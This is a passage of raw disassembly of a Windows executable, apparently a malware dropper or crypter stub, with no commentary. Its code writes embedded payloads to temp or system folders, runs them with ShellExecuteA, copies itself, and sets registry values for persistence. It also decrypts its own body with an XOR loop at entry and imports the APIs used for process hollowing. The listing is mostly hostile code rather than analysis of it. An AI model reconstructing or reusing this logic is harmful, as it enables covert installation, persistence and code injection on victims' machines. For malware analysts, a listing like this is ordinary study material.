		mov	eax, offset dword_406E24
		call	sub_401E18


loc_404104:				; CODE XREF: CODE:004040E8j
		mov	eax, ds:off_406F84
		cmp	byte ptr [eax+6Ah], 0
		jz	short loc_40412B
		mov	eax, ds:dword_406E24
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_403E44
		mov	edx, [ebp-1Ch]
		mov	eax, offset dword_406E24
		call	sub_401E18


loc_40412B:				; CODE XREF: CODE:0040410Dj
		mov	eax, ds:off_406F84
		cmp	byte ptr [eax+48h], 0
		jz	short loc_4041B4
		mov	eax, ds:off_406F84
		cmp	byte ptr [eax+49h], 0
		jz	short loc_404176
		lea	eax, [ebp-24h]
		mov	edx, ds:off_406F84
		add	edx, 60h
		mov	ecx, 0Ah
		call	sub_401EEC
		mov	edx, [ebp-24h]
		lea	ecx, [ebp-20h]
		mov	eax, ds:dword_406E24
		call	sub_403D98
		mov	edx, [ebp-20h]
		mov	eax, offset dword_406E24
		call	sub_401E18
		jmp	short loc_4041B4
; ---------------------------------------------------------------------------


loc_404176:				; CODE XREF: CODE:0040413Fj
		mov	eax, ds:off_406F84
		push	dword ptr [eax+5Ch]
		push	dword ptr [eax+58h]
		mov	eax, ds:off_406F84
		push	dword ptr [eax+54h]
		push	dword ptr [eax+50h]
		lea	eax, [ebp-28h]
		mov	edx, ds:off_406F84
		add	edx, 60h
		mov	ecx, 0Ah
		call	sub_401EEC
		mov	edx, [ebp-28h]
		mov	ecx, offset dword_406E24
		mov	eax, ds:dword_406E24
		call	sub_403B84


loc_4041B4:				; CODE XREF: CODE:00404134j
					; CODE:00404174j
		mov	eax, ds:off_406F84
		cmp	byte ptr [eax+0B0h], 0
		jz	loc_404377
		lea	edx, [ebp-2Ch]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-2Ch]
		mov	ecx, offset dword_406F80
		mov	edx, offset dword_406F7C
		call	sub_402E38
		test	al, al
		jnz	loc_404348
		call	sub_401410
		lea	edx, [ebp-30h]
		mov	eax, offset dword_404830
		call	sub_4033B0
		push	dword ptr [ebp-30h]
		push	offset dword_40483C
		mov	eax, 0Ah
		call	sub_4018C8
		lea	edx, [ebp-34h]
		call	sub_4030FC
		push	dword ptr [ebp-34h]
		mov	eax, 0Ah
		call	sub_4018C8
		lea	edx, [ebp-38h]
		call	sub_4030FC
		push	dword ptr [ebp-38h]
		mov	eax, 0Ah
		call	sub_4018C8
		lea	edx, [ebp-3Ch]
		call	sub_4030FC
		push	dword ptr [ebp-3Ch]
		push	offset dword_404848
		mov	eax, offset dword_406F74
		mov	edx, 6
		call	sub_401FC4
		push	offset dword_406E24
		mov	eax, ds:dword_406E24
		call	sub_401F04
		cdq
		push	edx
		push	eax
		mov	eax, ds:off_406F84
		mov	edx, [eax+0BCh]
		mov	eax, [eax+0B8h]
		sub	[esp], eax
		sbb	[esp+4], edx
		pop	eax
		pop	edx
		add	eax, 1
		adc	edx, 0
		push	eax
		mov	eax, ds:off_406F84
		mov	eax, [eax+0B8h]
		mov	ecx, eax
		mov	eax, ds:dword_406E24
		pop	edx
		call	sub_4020B4
		lea	edx, [ebp-44h]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-44h]
		lea	edx, [ebp-40h]
		call	sub_402CDC
		mov	edx, [ebp-40h]
		mov	eax, offset dword_406E24
		mov	ecx, ds:dword_406E24
		call	sub_401F50
		mov	edx, ds:dword_406F74
		mov	eax, offset dword_406E28
		call	sub_4016A4
		mov	edx, 1
		mov	eax, offset dword_406E28
		call	sub_401A08
		call	sub_401228
		push	0
		mov	eax, ds:dword_406E24
		call	sub_401F04
		push	eax
		mov	eax, offset dword_406E24
		call	sub_4020AC
		mov	edx, eax
		mov	eax, offset dword_406E28
		pop	ecx
		call	sub_4017C8
		call	sub_401228
		mov	eax, offset dword_406E28
		call	sub_4017E8
		call	sub_401228
		push	0
		push	0
		push	0
		mov	eax, ds:dword_406F74
		call	sub_402058
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	sub_402BCC	; ShellExecuteA
		jmp	loc_404560
; ---------------------------------------------------------------------------


loc_404348:				; CODE XREF: CODE:004041E4j
		mov	eax, ds:dword_406E24
		call	sub_401F04
		cdq
		push	edx
		push	eax
		mov	eax, ds:dword_406F80
		xor	edx, edx
		sub	[esp], eax
		sbb	[esp+4], edx
		pop	eax
		pop	edx
		mov	edx, eax
		mov	eax, offset dword_406E24
		mov	ecx, ds:dword_406F80
		call	sub_4020F4


loc_404377:				; CODE XREF: CODE:004041C0j
		mov	eax, ds:off_406F84
		cmp	byte ptr [eax+6Bh], 0
		jz	short loc_4043BC


loc_404382:				; CODE XREF: CODE:004043BAj
		push	0
		lea	edx, [ebp-48h]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-48h]
		push	eax
		mov	eax, offset dword_406E24
		call	sub_4020AC
		xor	ecx, ecx
		pop	edx
		call	sub_403640
		mov	ds:byte_406F78,	al
		push	0FA0h
		call	sub_402B6C	; Sleep
		cmp	ds:byte_406F78,	1
		jnz	short loc_404382


loc_4043BC:				; CODE XREF: CODE:00404380j
		mov	eax, ds:off_406F84
		cmp	byte ptr [eax+6Ch], 0
		jz	short loc_4043FF


loc_4043C7:				; CODE XREF: CODE:004043FDj
		push	0
		mov	eax, offset dword_406E24
		call	sub_4020AC
		push	eax
		lea	eax, [ebp-4Ch]
		call	sub_403038
		mov	edx, [ebp-4Ch]
		xor	ecx, ecx
		pop	eax
		call	sub_403640
		mov	ds:byte_406F78,	al
		push	0FA0h
		call	sub_402B6C	; Sleep
		cmp	ds:byte_406F78,	1
		jnz	short loc_4043C7


loc_4043FF:				; CODE XREF: CODE:004043C5j
		mov	eax, ds:off_406F84
		cmp	byte ptr [eax+6Dh], 0
		jz	loc_404560
		lea	eax, [ebp-54h]
		mov	edx, ds:off_406F84
		add	edx, 6Eh
		mov	ecx, 32h
		call	sub_401EEC
		mov	eax, [ebp-54h]
		lea	edx, [ebp-50h]
		call	sub_4033B0
		mov	edx, [ebp-50h]
		mov	eax, offset dword_406F74
		call	sub_401E18
		cmp	ds:dword_406F74, 0
		jnz	short loc_40449B
		lea	eax, [ebp-58h]
		mov	edx, ds:off_406F84
		add	edx, 6Eh
		mov	ecx, 32h
		call	sub_401EEC
		mov	eax, [ebp-58h]
		call	sub_402CB8
		test	al, al
		jz	short loc_404481
		mov	eax, offset dword_406F74
		mov	edx, ds:off_406F84
		add	edx, 6Eh
		mov	ecx, 32h
		call	sub_401EEC
		jmp	short loc_40449B
; ---------------------------------------------------------------------------


loc_404481:				; CODE XREF: CODE:00404465j
		lea	edx, [ebp-5Ch]
		mov	eax, offset dword_404830
		call	sub_4033B0
		mov	edx, [ebp-5Ch]
		mov	eax, offset dword_406F74
		call	sub_401E18


loc_40449B:				; CODE XREF: CODE:00404443j
					; CODE:0040447Fj
		push	ds:dword_406F74
		push	offset dword_40483C
		lea	eax, [ebp-60h]
		mov	edx, ds:off_406F84
		add	edx, 0Ah
		mov	ecx, 32h
		call	sub_401EEC
		push	dword ptr [ebp-60h]
		mov	eax, offset dword_406F74
		mov	edx, 3
		call	sub_401FC4
		mov	edx, ds:dword_406F74
		mov	eax, offset dword_406E28
		call	sub_4016A4
		mov	edx, 1
		mov	eax, offset dword_406E28
		call	sub_401A08
		call	sub_401228
		push	0
		mov	eax, ds:dword_406E24
		call	sub_401F04
		push	eax
		mov	eax, offset dword_406E24
		call	sub_4020AC
		mov	edx, eax
		mov	eax, offset dword_406E28
		pop	ecx
		call	sub_4017C8
		call	sub_401228
		mov	eax, offset dword_406E28
		call	sub_4017E8
		call	sub_401228
		mov	eax, ds:off_406F84
		cmp	byte ptr [eax+0A0h], 0
		jz	short loc_404560
		mov	eax, ds:off_406F84
		movzx	eax, byte ptr [eax+0A1h]
		push	eax
		push	0
		push	0
		mov	eax, ds:dword_406F74
		call	sub_402058
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	sub_402BCC	; ShellExecuteA


loc_404560:				; CODE XREF: CODE:00404063j
					; CODE:004040D6j ...
		add	edi, 0C0h
		add	esi, 4
		add	ebx, 4
		dec	ds:dword_406E20
		jnz	loc_40403D
		mov	edx, offset aAus ; "AUS"
		mov	eax, offset dword_4064F8
		call	sub_403368
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_4047F8	; default
					; jumptable 00404745 case 0
		cmp	ds:dword_4064F8, 0
		jle	loc_4047F8	; default
					; jumptable 00404745 case 0
		lea	edx, [ebp-64h]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-64h]
		mov	ecx, offset dword_406F80
		mov	edx, offset dword_406F7C
		call	sub_402E38
		test	al, al
		jnz	loc_4047F8	; default
					; jumptable 00404745 case 0
		mov	edx, offset dword_4064FC
		mov	eax, ebx
		mov	ecx, ds:dword_4064F8
		call	sub_401264
		mov	eax, offset dword_4064E8
		mov	edx, offset dword_406504
		mov	ecx, 81h
		call	sub_401EEC
		mov	eax, offset dword_4064EC
		mov	edx, offset byte_406585
		mov	ecx, 41h
		call	sub_401EEC
		mov	eax, offset dword_4064F0
		mov	edx, offset word_4065C6
		mov	ecx, 41h
		call	sub_401EEC
		mov	eax, offset dword_4064F4
		mov	edx, offset byte_406607
		mov	ecx, 41h
		call	sub_401EEC
		push	0
		push	14h
		push	0
		push	32h
		mov	ecx, offset dword_4064E8
		mov	edx, offset dword_404864
		mov	eax, ds:dword_4064E8
		call	sub_403B84
		push	0
		push	14h
		push	0
		push	32h
		mov	ecx, offset dword_4064EC
		mov	edx, offset dword_404864
		mov	eax, ds:dword_4064EC
		call	sub_403B84
		push	0
		push	14h
		push	0
		push	32h
		mov	ecx, offset dword_4064F0
		mov	edx, offset dword_404864
		mov	eax, ds:dword_4064F0
		call	sub_403B84
		push	0
		push	14h
		push	0
		push	32h
		mov	ecx, offset dword_4064F4
		mov	edx, offset dword_404864
		mov	eax, ds:dword_4064F4
		call	sub_403B84
		lea	edx, [ebp-68h]
		mov	eax, ds:dword_4064F0
		call	sub_4033B0
		mov	edx, [ebp-68h]
		mov	eax, offset dword_406F74
		call	sub_401E18
		cmp	ds:dword_406F74, 0
		jnz	short loc_4046F1
		mov	eax, ds:dword_4064F0
		call	sub_402CB8
		test	al, al
		jz	short loc_4046D7
		mov	eax, offset dword_406F74
		mov	edx, ds:dword_4064F0
		call	sub_401E18
		jmp	short loc_4046F1
; ---------------------------------------------------------------------------


loc_4046D7:				; CODE XREF: CODE:004046C3j
		lea	edx, [ebp-6Ch]
		mov	eax, offset aSystemroot	; "SystemRoot"
		call	sub_4033B0
		mov	edx, [ebp-6Ch]
		mov	eax, offset dword_406F74
		call	sub_401E18


loc_4046F1:				; CODE XREF: CODE:004046B5j
					; CODE:004046D5j
		push	ds:dword_406F74
		push	offset dword_40483C
		push	ds:dword_4064F4
		mov	eax, offset dword_406F74
		mov	edx, 3
		call	sub_401FC4
		push	0
		mov	eax, ds:dword_406F74
		call	sub_402058
		push	eax
		lea	edx, [ebp-70h]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-70h]
		call	sub_402058
		push	eax
		call	sub_402ABC	; CopyFileA
		mov	eax, ds:dword_4064FC
		cmp	eax, 5		; switch 6 cases
		ja	loc_4047F8	; default
					; jumptable 00404745 case 0
		jmp	off_40474C[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_40474C	dd offset loc_4047F8	; DATA XREF: CODE:00404745r
		dd offset loc_404764	; jump table for switch	statement
		dd offset loc_404782
		dd offset loc_4047A0
		dd offset loc_4047BE
		dd offset loc_4047DC
; ---------------------------------------------------------------------------


loc_404764:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 1
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000000h
		call	sub_402C0C
		jmp	short loc_4047F8 ; default
					; jumptable 00404745 case 0
; ---------------------------------------------------------------------------


loc_404782:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 2
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000001h
		call	sub_402C0C
		jmp	short loc_4047F8 ; default
					; jumptable 00404745 case 0
; ---------------------------------------------------------------------------


loc_4047A0:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 3
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000002h
		call	sub_402C0C
		jmp	short loc_4047F8 ; default
					; jumptable 00404745 case 0
; ---------------------------------------------------------------------------


loc_4047BE:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 4
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000003h
		call	sub_402C0C
		jmp	short loc_4047F8 ; default
					; jumptable 00404745 case 0
; ---------------------------------------------------------------------------


loc_4047DC:				; CODE XREF: CODE:00404745j
					; DATA XREF: CODE:off_40474Co
		mov	eax, ds:dword_406F74 ; jumptable 00404745 case 5
		push	eax
		mov	ecx, ds:dword_4064EC
		mov	edx, ds:dword_4064E8
		mov	eax, 80000005h
		call	sub_402C0C


loc_4047F8:				; CODE XREF: CODE:0040458Bj
					; CODE:00404598j ...
		xor	eax, eax	; default
					; jumptable 00404745 case 0
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40481A


loc_404805:				; CODE XREF: CODE:00404818j
		lea	eax, [ebp-70h]
		mov	edx, 18h
		call	sub_401DE8
		retn
; ---------------------------------------------------------------------------


loc_404813:				; DATA XREF: CODE:00403FEBo
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_404805
; ---------------------------------------------------------------------------


loc_40481A:				; CODE XREF: CODE:00404812j
					; DATA XREF: CODE:00404800o
		pop	edi
		pop	esi
		pop	ebx
		call	sub_401CDC
; ---------------------------------------------------------------------------
		align 4
dword_404824	dd 544553h, 0FFFFFFFFh,	3dword_404830	dd 504D54h, 0FFFFFFFFh,	1					; CODE:00404484o
dword_40483C	dd 5Ch,	0FFFFFFFFh, 4					; CODE:004044A1o ...
dword_404848	dd 6578652Eh, 0	aOpen		db 'open',0             ; DATA XREF: CODE:00404337o
					; CODE:00404554o
		align 4
aAus		db 'AUS',0              ; DATA XREF: CODE:00404578o
		dd 0FFFFFFFFh, 3
dword_404864	dd 747561h, 0FFFFFFFFh,	0Ah					; CODE:0040464Do ...
aSystemroot	db 'SystemRoot',0       ; DATA XREF: CODE:004046DAo
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_404897
		call	sub_404916
		mov	ebp, fs:0
		lea	ebp, [ebp+8]
		jmp	loc_4048CC
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_404897	proc near		; CODE XREF: start+3p
		push	dword ptr fs:0
		mov	fs:0, esp
		xor	edx, edx
		push	80h
		push	edx
		push	edx
		push	80000000h
		push	edx
		push	edx
		push	edx
		push	edx
		push	2000h
		push	edx
		push	80000000h
		push	edx
		push	1
		call	ds:dword_4070A4	; RtlGetLastWin32Error


loc_4048CC:				; CODE XREF: start+16j
		sub	eax, eax


loc_4048CE:				; CODE XREF: sub_404897+3Dj
		dec	al
		or	al, al
		jz	short loc_4048D8
		jnz	short loc_4048CE
		jmp	short near ptr 40493Fh
; ---------------------------------------------------------------------------


loc_4048D8:				; CODE XREF: sub_404897+3Bj
		sub	edi, edi
		sub	ecx, ecx
		mov	cl, 78h


loc_4048DE:				; CODE XREF: sub_404897+48j
		inc	edi
		loop	loc_4048DE
		call	sub_404913
		sub	ebx, 0FFFD8AE6h
		mov	esi, 24E3h
		push	ebx


loc_4048F2:				; CODE XREF: sub_404897+6Aj
		mov	al, [ebx]
		xor	ax, di
		xchg	al, [ebx]
		inc	ebx
		inc	edi
		sub	esi, 1
		cmp	esi, 0
		ja	short loc_4048F2
		pop	ebx
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		jmp	ebx
sub_404897	endp


; =============== S U B	R O U T	I N E =======================================



sub_404913	proc near		; CODE XREF: sub_404897+4Ap
		pop	ebx
		jmp	ebx
sub_404913	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404916	proc near		; CODE XREF: start+8p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_404916	endp ; sp-analysis failed

CODE		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 000000C8 (	200.)
; Section size in file		: 000000C8 (	200.)
; Offset to raw	data for section: 00005000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 405000h
dword_405000	dd 0							; sub_401CDC+9o ...
dword_405004	dd 0							; sub_401CDC:loc_401D0Br ...
dword_405008	dd 0							; sub_4018C8+3r ...
byte_40500C	db 2			; DATA XREF: sub_40190C+4Er
					; sub_4019ECr ...
		db 8Dh,	40h, 0
byte_405010	db 0			; DATA XREF: sub_401B6Cr
		db 8Dh,	40h, 0
byte_405014	db 1			; DATA XREF: sub_4016A4+25r
		db 8Dh,	40h, 0
off_405018	dd offset dword_40508C	; DATA XREF: sub_402858r sub_402858+8w
dword_40501C	dd 0		off_405020	dd offset sub_402868	; DATA XREF: sub_401CDC+66r
off_405024	dd offset nullsub_1	; DATA XREF: sub_402260+67r
off_405028	dd offset nullsub_1	; DATA XREF: sub_402260+71r
off_40502C	dd offset sub_401C00	; DATA XREF: sub_401C00+Fr
					; sub_401C00+35r ...
off_405030	dd offset sub_401BCC	; DATA XREF: sub_401CDC:loc_401D2Ar
off_405034	dd offset nullsub_1	; DATA XREF: sub_401CDC:loc_401D5Dr
off_405038	dd offset nullsub_1	; DATA XREF: sub_4028CC:loc_4028F4r
dword_40503C	dd 0							; sub_401108+4r ...
off_405040	dd offset sub_4010F4	; DATA XREF: sub_401144+4r
					; sub_401174+3Fr
off_405044	dd offset sub_401108	; DATA XREF: sub_40115C+4r
					; sub_401174+26r
off_405048	dd offset sub_40112C	; DATA XREF: sub_401174+Dr
byte_40504C	db 0			; DATA XREF: sub_4011D0+36r
aRsu		db 'ΛΜΘΙΧΟΘΝΞΫΨΚΩΪάέήίΰαγ',0
aFxn@		db 'δε@',0
dword_405068	dd 3				align 10h
		dd 1, 2, 3, 3 dup(0)
off_405088	dd offset nullsub_1	; DATA XREF: sub_401CDC+38r
dword_40508C	dd 0							; sub_4029E8+33o ...
dword_405090	dd 400000h	dword_405094	dd 0		dword_405098	dd 0				dd 2 dup(0)
dword_4050A4	dd 1				dd 10h,	2, 20h,	4, 40h,	4, 40h
off_4050C4	dd offset byte_40500C	; DATA XREF: sub_402CDC+33r
DATA		ends

; Section 3. (virtual address 00006000)
; Virtual size			: 00000F89 (   3977.)
; Section size in file		: 00000F89 (   3977.)
; Offset to raw	data for section: 00006000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 406000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_406000	dd offset sub_4025B8	; DATA XREF: sub_402914+13w
dword_406004	dd 0							; sub_4011D0+16r
off_406008	dd offset sub_401094	; DATA XREF: sub_401B6C+1Cr
					; sub_401C70w
off_40600C	dd offset loc_4010A4	; DATA XREF: sub_401C70+Aw
dword_406010	dd 0							; sub_401CDC+A9r
dword_406014	dd 400000h	dword_406018	dd 538h		byte_40601C	db 0			; DATA XREF: sub_401C70+2Ew
		align 10h
dword_406020	dd 0		dword_406024	dd 73h dup(0)	dword_4061F0	dd 73h dup(0)	dword_4063BC	dd 0FFFFFFFFh						; sub_402914w
dword_4063C0	dd 140000h						; sub_401108+Dr ...
dword_4063C4	dd 2 dup(0)						; sub_401CAC+Do ...
off_4063CC	dd offset dword_403F64	; DATA XREF: sub_401C54r
					; sub_401C70+14w
dword_4063D0	dd 0Ch							; sub_401C70+1Bw
off_4063D4	dd offset dword_40508C	; DATA XREF: sub_401C70+20w
		dd 6 dup(0)
dword_4063F0	dd 0							; sub_4028CC+22r
off_4063F4	dd offset sub_402568	; DATA XREF: sub_402580o
					; sub_402580+19w ...
off_4063F8	dd offset sub_402560	; DATA XREF: sub_4025A8r
		dd 29h dup(offset sub_402560)
byte_4064A0	db 0			; DATA XREF: sub_40299Cr
		align 4
TlsIndex	dd 0			; DATA XREF: sub_402958+Cr
					; sub_402958+37r ...
		dd 0
dword_4064AC	dd 400000h						; sub_4029E8+16r ...
dword_4064B0	dd 0FFFFFFFFh						; CODE:loc_402A5Cw
dword_4064B4	dd 0		dword_4064B8	dd 0FFFFFFFFh						; sub_402A94w
dword_4064BC	dd 0FFFFFFFFh						; sub_402BBCw
dword_4064C0	dd 0FFFFFFFFh						; sub_402C04w
dword_4064C4	dd 0FFFFFFFFh						; sub_403478w
dword_4064C8	dd 0FFFFFFFFh						; sub_40362Cw
dword_4064CC	dd 7C809A72h	; resolved to->KERNEL32.VirtualAllocEx					; sub_40348C+24w ...
dword_4064D0	dd 7C801A5Dh	; resolved to->KERNEL32.VirtualProtectEx					; sub_40350C+24w ...
dword_4064D4	dd 7C90E960h	; resolved to->NTDLL.ZwUnmapViewOfSection					; sub_403590+21w ...
dword_4064D8	dd 0FFFFFFFFh						; sub_4038F8w
dword_4064DC	dd 0FFFFFFFFh						; sub_403C40w
dword_4064E0	dd 0FFFFFFFFh						; sub_403E28w
dword_4064E4	dd 0FFFFFFFFh						; sub_403F34w
dword_4064E8	dd 0							; CODE:0040462Co ...
dword_4064EC	dd 0							; CODE:00404648o ...
dword_4064F0	dd 0							; CODE:00404664o ...
dword_4064F4	dd 0							; CODE:00404680o ...
dword_4064F8	dd 0							; CODE:00404591r ...
dword_4064FC	dd 0							; CODE:00404736r
		dd 0
dword_406504	dd 20h dup(0)			db 0
byte_406585	db 3 dup(0)		; DATA XREF: CODE:004045EDo
		dd 0Fh dup(0)
		db 2 dup(0)
word_4065C6	dw 0			; DATA XREF: CODE:00404601o
		dd 0Fh dup(0)
		db 3 dup(0)
byte_406607	db 0			; DATA XREF: CODE:00404615o
		dd 11h dup(0)
aNbqbec		db 'NBQBEC',0           ; DATA XREF: CODE:loc_404012o
					; CODE:00404038o ...
		align 4
		dd 30320016h, 37303530h, 6578652Eh, 1E0000h, 0EC300000h
		dd 41h,	2 dup(0)
		dd 46AC0000h, 9Eh, 1E0000h, 10000h, 0C0000h, 0
		dd 1D400h, 0
		dd 101h, 5 dup(0)
		dd 584B6F3Bh, 60387077h, 1003758h, 0Fh dup(0)
		dd 400h, 1B5h dup(0)
dword_406DCC	dd 40B618h, 9 dup(0)dword_406DF4	dd 1D400h, 9 dup(0)dword_406E1C	dd 780h							; CODE:00404019r
dword_406E20	dd 0Ah							; CODE:0040456Cw
dword_406E24	dd 182F58h						; CODE:00404069o ...
dword_406E28	dd 53h dup(0)						; CODE:004042DFo ...
dword_406F74	dd 0							; CODE:004042CAr ...
byte_406F78	db 1			; DATA XREF: CODE:004043A4w
					; CODE:004043B3r ...
		align 4
dword_406F7C	dd 0							; CODE:004041D8o ...
dword_406F80	dd 0							; CODE:004040B1r ...
off_406F84	dd offset aNbqbec	; DATA XREF: CODE:0040408Cw
					; CODE:004040BAr ...
					; "NBQBEC"
		db 0
BSS		ends

; Section 4. (virtual address 00007000)
; Virtual size			: 000005EA (   1514.)
; Section size in file		: 000005EA (   1514.)
; Offset to raw	data for section: 00007000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 407000h
		dd 3 dup(0)
		dd 71B0h, 70A0h, 3 dup(0)
		dd 734Eh, 710Ch, 3 dup(0)
		dd 7366h, 7114h, 3 dup(0)
		dd 739Ah, 7120h, 3 dup(0)
		dd 73D6h, 7130h, 3 dup(0)
		dd 759Ch, 719Ch, 3 dup(0)
		dd 75CAh, 71A8h, 5 dup(0)
dword_4070A0	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_4070A4	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_404897+2Fr
dword_4070A8	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_4070AC	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; CODE:loc_401714r
dword_4070B0	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_4070B4	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_4070B8	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4070BC	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; CODE:loc_40170Cr
dword_4070C0	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_4070C4	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandledword_4070C8	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_4070CC	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_4070D0	dd 7C810E51h	; resolved to->KERNEL32.GetFileTypedword_4070D4	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_4070D8	dd 7C809B47h	; resolved to->KERNEL32.CloseHandledword_4070DC	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4070E0	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValuedword_4070E4	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_4070E8	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_4070EC	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_4070F0	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_4070F4	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_4070F8	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeapdword_4070FC	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeapdword_407100	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeapdword_407104	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap		dd 0
dword_40710C	dd 7E42DF50h	; resolved to->USER32.CharNextA		dd 0
dword_407114	dd 77124880h	dword_407118	dd 771544ADh			align 10h
dword_407120	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_407124	dd 77DFC41Bh	; resolved to->ADVAPI32.RegOpenKeyAdword_407128	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		align 10h
dword_407130	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemorydword_407134	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_407138	dd 7C802442h	; resolved to->KERNEL32.Sleepdword_40713C	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_407140	dd 7C862A69h	; resolved to->KERNEL32.SetThreadContextdword_407144	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Errordword_407148	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_40714C	dd 7C8328F7h	; resolved to->KERNEL32.ResumeThreaddword_407150	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemorydword_407154	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_407158	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_40715C	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_407160	dd 7C83970Dh	; resolved to->KERNEL32.GetThreadContextdword_407164	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_407168	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_40716C	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_407170	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesAdword_407174	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableAdword_407178	dd 7C8260C2h	; resolved to->KERNEL32.FreeResourcedword_40717C	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_407180	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_407184	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileAdword_407188	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_40718C	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_407190	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_407194	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle		dd 0
dword_40719C	dd 7CA41110h	; resolved to->SHELL32.ShellExecuteAdword_4071A0	dd 7CA3F9BCh	; resolved to->SHELL32.FindExecutableA		align 8
dword_4071A8	dd 7C961329h	; resolved to->NTDLL.RtlDecompressBuffer		align 10h
aKernel32_dll_1	db 'kernel32.dll',0
		align 10h
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		dd 65470000h, 73614C74h, 72724574h, 726Fh, 78450000h, 72507469h
		dd 7365636Fh, 73h, 74697257h, 6C694665h, 65h, 46746553h
		dd 50656C69h, 746E696Fh, 7265h,	65530000h, 646E4574h, 6946664Fh
		dd 656Ch, 74520000h, 776E556Ch,	646E69h, 65520000h, 69466461h
		dd 656Ch, 61520000h, 45657369h,	70656378h, 6E6F6974h, 0
aGetstdhandle	db 'GetStdHandle',0
		align 4
aGetfilesize	db 'GetFileSize',0
